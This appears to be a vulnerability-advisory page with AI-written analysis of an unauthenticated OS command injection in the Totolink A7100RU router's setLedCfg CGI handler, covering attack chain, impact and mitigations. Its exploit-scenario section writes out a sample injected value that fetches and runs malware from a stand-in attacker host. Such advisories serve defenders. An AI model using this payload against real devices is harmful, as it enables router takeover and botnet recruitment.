Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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ReconInternet scan for exposed routers
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DeliverySend crafted HTTP POST to /cgi-bin/cstecgi.cgi
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ExploitInject shell commands via 'enable' parameter
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InstallExecute arbitrary code as root
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C2Install persistence mechanism
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ExecuteCommand and control callback
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ImpactDeploy malware or pivot to LAN
Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit Totolik A7100RU firmware 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi with malicious input in the 'enable' parameter of setLedCfg function. No authentication or user interaction required. |
| Impact | This vulnerability presents CRITICAL real-world risk with multiple concerning signals: CVSS 9.8 reflects maximum severity across all base metrics (network attack vector, low complexity, no privileges required, no user interaction, high impact to confidentiality/integrity/availability). The attack is trivially exploitable as confirmed by CVSS temporal E:P (Proof-of-concept code exists) and publicly available GitHub POC, lowering the barrier to entry for mass exploitation. While not listed in CISA KEV (no confirmed active exploitation campaigns), the combination of unauthenticated remote access, zero complexity, and public exploit code creates immediate weaponization potential. SSVC factors amplify concern: exploitation is automatable (can be scripted for botnet recruitment), requires zero technical sophistication, and achieves total system compromise. Home/SOHO routers are rarely patched, extending vulnerability lifetime indefinitely. The primary risk mitigation is absence of evidence for widespread scanning/exploitation, but this vulnerability is ideal for IoT botnet operators (Mirai-style campaigns). |
| Exploit ScenarioDerived | An external attacker scans the internet for Totolink A7100RU routers exposing their web management interface on port 80/8080. Upon identifying a vulnerable device, the attacker sends a crafted HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'enable' parameter containing shell metacharacters and injected commands (e.g., enable=1;wget${IFS}http://attacker.com/malware;sh${IFS}malware). The setLedCfg function executes this unsanitized input directly in a system shell with root privileges, downloading and executing botnet malware that adds the router to a DDoS botnet, exfiltrates network traffic, or pivots into the internal network. |
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Alert meAnalysisAIv1 – Apr 12, 2026
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the 'enable' parameter in the setLedCfg function of /cgi-bin/cstecgi.cgi. Public exploit code exists (GitHub), making this vulnerability immediately weaponizable with CVSS 9.8 (Critical). EPSS data not available, but no CISA KEV listing indicates no confirmed widespread exploitation despite POC availability.
RemediationAI
No vendor-released patch identified at time of analysis despite public disclosure. Users should immediately check the Totolink official website (www.totolink.net) under support/downloads for firmware updates newer than 7.4cu.2313_b20191024 and apply if available. As interim mitigation, disable remote administration access to the router's web interface, restrict management interface access to trusted local networks only via firewall rules, and place the device behind a separate firewall that blocks external access to port 80/443 directed at the router. Consider replacing the device with actively supported hardware if Totolink does not release a security update within reasonable timeframe. Network segmentation can limit blast radius if device is compromised-isolate IoT/guest networks from critical systems.
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Affected Packages
Source: OSV (Open Source Vulnerabilities)
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Technical ContextAI · show details
The vulnerability resides in the CGI (Common Gateway Interface) handler of Totolink A7100RU residential router firmware, specifically within the setLedCfg configuration function accessible via /cgi-bin/cstecgi.cgi. This represents a classic CWE-78 OS Command Injection flaw where user-supplied input to the 'enable' parameter is not properly sanitized before being passed to system shell commands. CGI scripts in embedded devices often interact directly with system utilities through shell execution, and failure to validate input allows attackers to break out of intended command context using shell metacharacters (semicolons, pipes, backticks). The affected CPE (cpe:2.3:a:totolink:a7100ru) confirms this impacts the router's application firmware layer, where web-based management interfaces execute privileged system operations.
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CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
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CVSS VectorVendor: VulDB
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4DescriptionCVE.org
A vulnerability was determined in Totolink A7100RU 7.4cu.2313_b20191024. Affected by this issue is the function setLedCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument enable causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.
Executive ViewAI
Totolik A7100RU routers running firmware 7.4cu.2313_b20191024 are vulnerable to unauthenticated remote command execution through a command injection flaw, allowing attackers to gain complete control of affected devices without credentials. Organizations deploying this router model face immediate risk of network compromise, data exfiltration, and infrastructure takeover, particularly concerning for distributed deployments in branch offices or remote sites.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to /cgi-bin/cstecgi.cgi endpoint via firewall rules permitting only authorized administrative IPs; (2) Disable remote management and WAN access to router administration interfaces; (3) Implement network segmentation isolating router management traffic; (4) Deploy intrusion detection rules monitoring for suspicious parameter values in requests to setLedCfg function; (5) Establish regular firmware update monitoring with Totolik support for patch release notification.
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SSVC AssessmentENISA
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Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
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EUVD-2026-21749
GHSA-6469-mcff-f6m6
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